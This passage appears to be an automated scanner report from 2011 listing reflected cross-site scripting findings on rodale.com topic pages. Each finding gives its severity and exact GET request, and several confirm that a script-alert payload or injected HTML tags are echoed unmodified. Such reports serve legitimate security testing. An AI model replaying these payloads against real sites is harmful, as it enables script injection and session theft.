Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:41 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:43 GMT
Date: Thu, 10 Mar 2011 17:09:43 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic2569e"><a>eb0ef9b6fe6 topic2569e">
...[SNIP]...

2.357. http://www.rodale.com/topic/cellphones [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/cellphones

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ac2b"><a>54f6e517e5b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/cellphones2ac2b"><a>54f6e517e5b HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:25 GMT
Date: Thu, 10 Mar 2011 17:10:25 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-cellphones2ac2b"><a>54f6e517e5b node node-958">
...[SNIP]...

2.358. http://www.rodale.com/topic/cellphones [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/cellphones

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3f20"><script>alert(1)</script>d5b48136a21 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/cellphones?f3f20"><script>alert(1)</script>d5b48136a21=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:41 GMT
Date: Thu, 10 Mar 2011 17:09:41 GMT
Content-Length: 29412
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/cellphones?f3f20"><script>alert(1)</script>d5b48136a21=1" title="Register" class="moreLink">
...[SNIP]...

2.359. http://www.rodale.com/topic/chemical-farming-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/chemical-farming-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67632"><a>48a1e3ec6c0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic67632"><a>48a1e3ec6c0/chemical-farming-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:39:54 GMT
Date: Thu, 10 Mar 2011 17:09:55 GMT
Content-Length: 22525
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic67632"><a>48a1e3ec6c0 topic67632">
...[SNIP]...

2.360. http://www.rodale.com/topic/chemical-farming-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/chemical-farming-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 574d2"><a>5e9a01b97d9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/chemical-farming-0574d2"><a>5e9a01b97d9 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:29 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:30 GMT
Date: Thu, 10 Mar 2011 17:10:31 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-chemical-farming-0574d2"><a>5e9a01b97d9 node node-958">
...[SNIP]...

2.361. http://www.rodale.com/topic/chemical-farming-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/chemical-farming-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4dd1"><script>alert(1)</script>d7c3070fb20 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/chemical-farming-0?e4dd1"><script>alert(1)</script>d7c3070fb20=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:49 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:52 GMT
Date: Thu, 10 Mar 2011 17:09:52 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32958

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/chemical-farming-0?e4dd1"><script>alert(1)</script>d7c3070fb20=1" title="Register" class="moreLink">
...[SNIP]...

2.362. http://www.rodale.com/topic/child-nutrition [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/child-nutrition

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c282a"><a>3d5c517a7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicc282a"><a>3d5c517a7/child-nutrition HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:01 GMT
Date: Thu, 10 Mar 2011 17:10:01 GMT
Content-Length: 22508
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicc282a"><a>3d5c517a7 topicc282a">
...[SNIP]...

2.363. http://www.rodale.com/topic/child-nutrition [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/child-nutrition

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58ee3"><a>4e7560b7939 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/child-nutrition58ee3"><a>4e7560b7939 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:34 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:37 GMT
Date: Thu, 10 Mar 2011 17:10:37 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-child-nutrition58ee3"><a>4e7560b7939 node node-958">
...[SNIP]...

2.364. http://www.rodale.com/topic/child-nutrition [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/child-nutrition

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40149"><script>alert(1)</script>26a713c886c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/child-nutrition?40149"><script>alert(1)</script>26a713c886c=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:39:58 GMT
Date: Thu, 10 Mar 2011 17:09:58 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33088

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/child-nutrition?40149"><script>alert(1)</script>26a713c886c=1" title="Register" class="moreLink">
...[SNIP]...

2.365. http://www.rodale.com/topic/childhood-nutrition [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/childhood-nutrition

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2730f"><a>4aac58ddaae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic2730f"><a>4aac58ddaae/childhood-nutrition HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:02 GMT
Date: Thu, 10 Mar 2011 17:10:02 GMT
Content-Length: 22528
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic2730f"><a>4aac58ddaae topic2730f">
...[SNIP]...

2.366. http://www.rodale.com/topic/childhood-nutrition [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/childhood-nutrition

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 123d2"><a>8d398936357 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/childhood-nutrition123d2"><a>8d398936357 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:35 GMT
Date: Thu, 10 Mar 2011 17:10:35 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-childhood-nutrition123d2"><a>8d398936357 node node-958">
...[SNIP]...

2.367. http://www.rodale.com/topic/childhood-nutrition [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/childhood-nutrition

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64ae0"><script>alert(1)</script>b356f8c383e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/childhood-nutrition?64ae0"><script>alert(1)</script>b356f8c383e=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:39:59 GMT
Date: Thu, 10 Mar 2011 17:10:00 GMT
Content-Length: 29981
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/childhood-nutrition?64ae0"><script>alert(1)</script>b356f8c383e=1" title="Register" class="moreLink">
...[SNIP]...

2.368. http://www.rodale.com/topic/childhood-obesity [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/childhood-obesity

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41405"><a>0ae9c995afb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic41405"><a>0ae9c995afb/childhood-obesity HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:04 GMT
Date: Thu, 10 Mar 2011 17:10:04 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic41405"><a>0ae9c995afb topic41405">
...[SNIP]...

2.369. http://www.rodale.com/topic/childhood-obesity [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/childhood-obesity

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6875"><a>c2bbf2a31b2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/childhood-obesityd6875"><a>c2bbf2a31b2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:36 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:39 GMT
Date: Thu, 10 Mar 2011 17:10:39 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-childhood-obesityd6875"><a>c2bbf2a31b2 node node-958">
...[SNIP]...

2.370. http://www.rodale.com/topic/childhood-obesity [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/childhood-obesity

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80aae"><script>alert(1)</script>56dfacfb98f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/childhood-obesity?80aae"><script>alert(1)</script>56dfacfb98f=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:09:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:01 GMT
Date: Thu, 10 Mar 2011 17:10:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33266

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/childhood-obesity?80aae"><script>alert(1)</script>56dfacfb98f=1" title="Register" class="moreLink">
...[SNIP]...

2.371. http://www.rodale.com/topic/childrens-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/childrens-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce973"><a>87ee3716560 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicce973"><a>87ee3716560/childrens-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:10 GMT
Date: Thu, 10 Mar 2011 17:10:10 GMT
Content-Length: 22519
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicce973"><a>87ee3716560 topicce973">
...[SNIP]...

2.372. http://www.rodale.com/topic/childrens-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/childrens-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ec11"><a>8618c29667c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/childrens-health9ec11"><a>8618c29667c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:45 GMT
Date: Thu, 10 Mar 2011 17:10:45 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-childrens-health9ec11"><a>8618c29667c node node-958">
...[SNIP]...

2.373. http://www.rodale.com/topic/childrens-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/childrens-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8d4f"><script>alert(1)</script>a5546384c94 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/childrens-health?b8d4f"><script>alert(1)</script>a5546384c94=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:07 GMT
Date: Thu, 10 Mar 2011 17:10:08 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33216

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/childrens-health?b8d4f"><script>alert(1)</script>a5546384c94=1" title="Register" class="moreLink">
...[SNIP]...

